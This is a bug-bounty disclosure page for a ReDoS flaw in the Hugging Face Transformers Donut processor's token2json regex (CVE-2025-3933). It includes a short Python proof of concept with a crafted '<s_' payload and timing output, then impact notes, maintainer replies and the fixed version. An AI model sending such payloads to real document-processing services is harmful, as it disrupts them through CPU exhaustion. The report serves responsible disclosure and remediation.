

Regular expression Denial of Service - ReDoS in huggingface/transformers in huggingface/transformers

✓ Valid

Reported on Apr 5th 2025

Description

A regular expression denial of service (ReDoS) vulnerability has been identified in the Hugging Face Transformers library's Donut processor. The vulnerability exists in the `token2json()` method of the `DonutProcessor` class, which processes document tokens into JSON format. The regex pattern `<s_(.*?)>` can be exploited to cause excessive CPU consumption through crafted input strings due to catastrophic backtracking.

Technical Details

- **Affected Component:**

```
transformers.models.donut.processing_donut.DonutProcessor.token2json
```

- **Vulnerability Type:** Regular Expression Denial of Service (ReDoS)
- **Attack Vector:** Maliciously crafted document tokens/text input

The proof of concept demonstrates that by providing increasingly long strings with repeated token patterns (specifically `<s_>`), the execution time grows non-linearly, indicating catastrophic backtracking in the underlying regular expression matching.

Reproduction

Install the dependencies:

```
pip install transformers
pip install tensorflow
pip install sentencepiece
```

Run the following code:

```
from transformers import DonutProcessor
import time

processor = DonutProcessor.from_pretrained('naver-clova-ix/donut-base-finetuned-cor
for i in range(1, 100000, 1000):
```

```
payload = '<s_ '* i + '\n<s_>'
```

```
start = time.perf_counter()
processor.token2json(payload)
end = time.perf_counter()

execution_time = end - start
print(f'Payload length {i}, execution time: {execution_time:.4f} seconds')
```

Example output pattern:

```
Payload length 1, execution time: 0.0001 seconds
Payload length 1001, execution time: 0.0166 seconds
Payload length 2001, execution time: 0.0661 seconds
Payload length 3001, execution time: 0.1493 seconds
Payload length 4001, execution time: 0.2632 seconds
Payload length 5001, execution time: 0.4122 seconds
Payload length 6001, execution time: 0.5922 seconds
Payload length 7001, execution time: 0.8092 seconds
Payload length 8001, execution time: 1.0510 seconds
Payload length 9001, execution time: 1.3390 seconds
Payload length 10001, execution time: 1.7344 seconds
Payload length 11001, execution time: 1.9901 seconds
Payload length 12001, execution time: 2.4183 seconds
Payload length 13001, execution time: 2.8504 seconds
Payload length 14001, execution time: 3.2280 seconds
Payload length 15001, execution time: 4.0164 seconds
Payload length 16001, execution time: 4.2953 seconds
Payload length 17001, execution time: 4.7564 seconds
Payload length 18001, execution time: 5.4156 seconds
Payload length 19001, execution time: 5.9234 seconds
Payload length 20001, execution time: 6.5627 seconds
Payload length 21001, execution time: 7.4147 seconds
Payload length 22001, execution time: 8.0258 seconds
Payload length 23001, execution time: 8.6762 seconds
Payload length 24001, execution time: 9.4427 seconds
Payload length 25001, execution time: 10.3432 seconds
```

Example output shows increasing execution times with input length, demonstrating the vulnerability.

The provided proof of concept demonstrates the vulnerability by:

- Loading a pre-trained Donut processor model
- Generating payloads of increasing length using repeated token patterns
- Measuring execution time for `token2json` processing
- Showing non-linear growth in processing time as input length increases

Impact

This vulnerability specifically affects document understanding tasks using the Donut model, which has several critical implications:

- **Document Processing Service Disruption:**
 - Services using Donut for document understanding could become unresponsive
 - OCR and document parsing pipelines could be halted
 - Business processes relying on automated document processing could be affected
- **Resource Exhaustion in Production:**
 - Document processing servers could experience high CPU usage
 - Multiple users could be affected in shared environments
 - Processing queues could become backed up
- **API Service Vulnerabilities:**
 - REST APIs exposing Donut functionality could be targeted
 - Malicious documents could be used to trigger the vulnerability
 - Rate limiting might not protect against this attack as it's CPU-bound
- **Batch Processing Impact:**
 - Large-scale document processing jobs could be disrupted
 - Processing time for legitimate documents could increase
 - Resource allocation for batch jobs could be affected

Occurrences

 processing_donut.py L159

References

- [How to fix a ReDoS](#)
- [Similar report #2](#)
- [OWASP - ReDoS](#)
- [Similar report #3](#)
- [Similar report #1](#)

⚙️ We are processing your report and will contact the [huggingface/transformers](#) team within 24 hours. 10 months ago



✎ Arjun Shibu modified the report 10 months ago



Michelle Habonneau validated this vulnerability 9 months ago

Hi, Thanks for the report. We'll move this to validated as we've opened a PR already with a fix. Thanks!

\$ **arjunshibu** has been awarded the disclosure bounty ✓

\$ The fix bounty is now up for grabs

★ The researcher's credibility has increased: +7

🔑 **CVE-2025-3933** assigned to this report. 9 months ago



Michelle Habonneau commented 9 months ago

Maintainer

We'll move this to resolved as soon as the PR at <https://github.com/huggingface/transformers/pull/37788> is merged and prodded.



A **huggingface/transformers** maintainer has acknowledged this report 9 months ago



The scheduled publication date was automatically extended from 4th Jul 2025 to 11th Jul 2025 due to the maintainers acknowledgement of the report 9 months ago



Michelle Habonneau marked this as fixed in **4.52.1** with commit **ebbe9b** 8 months ago

\$ The fix bounty has been dropped ✗

\$ **processing_donut.py#L159** has been validated ✓

✉ We have notified the **huggingface/transformers** maintainers about this report in their weekly follow-up 7 months ago

[Sign in](#) to join this conversation

CVE

CVE-2025-3933

Published

Vulnerability Type

CWE-1333: Inefficient Regular Expression Complexity

Severity

Medium (5.3)

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Unchanged

Confidentiality
Integrity
Availability

None
None
Low

[Open in visual CVSS calculator](#) 

Registry
Pypi

Affected Version
4.50.3

Visibility
Public

Status
Fixed

Disclosure Bounty
\$125

Fix Bounty
\$31.25

Found by



Arjun Shibu
@arjunshibu
[LIGHTWEIGHT](#)
  

Supported by [Palo Alto Networks](#) and Prisma AIRS, leading the way to greater AI security.

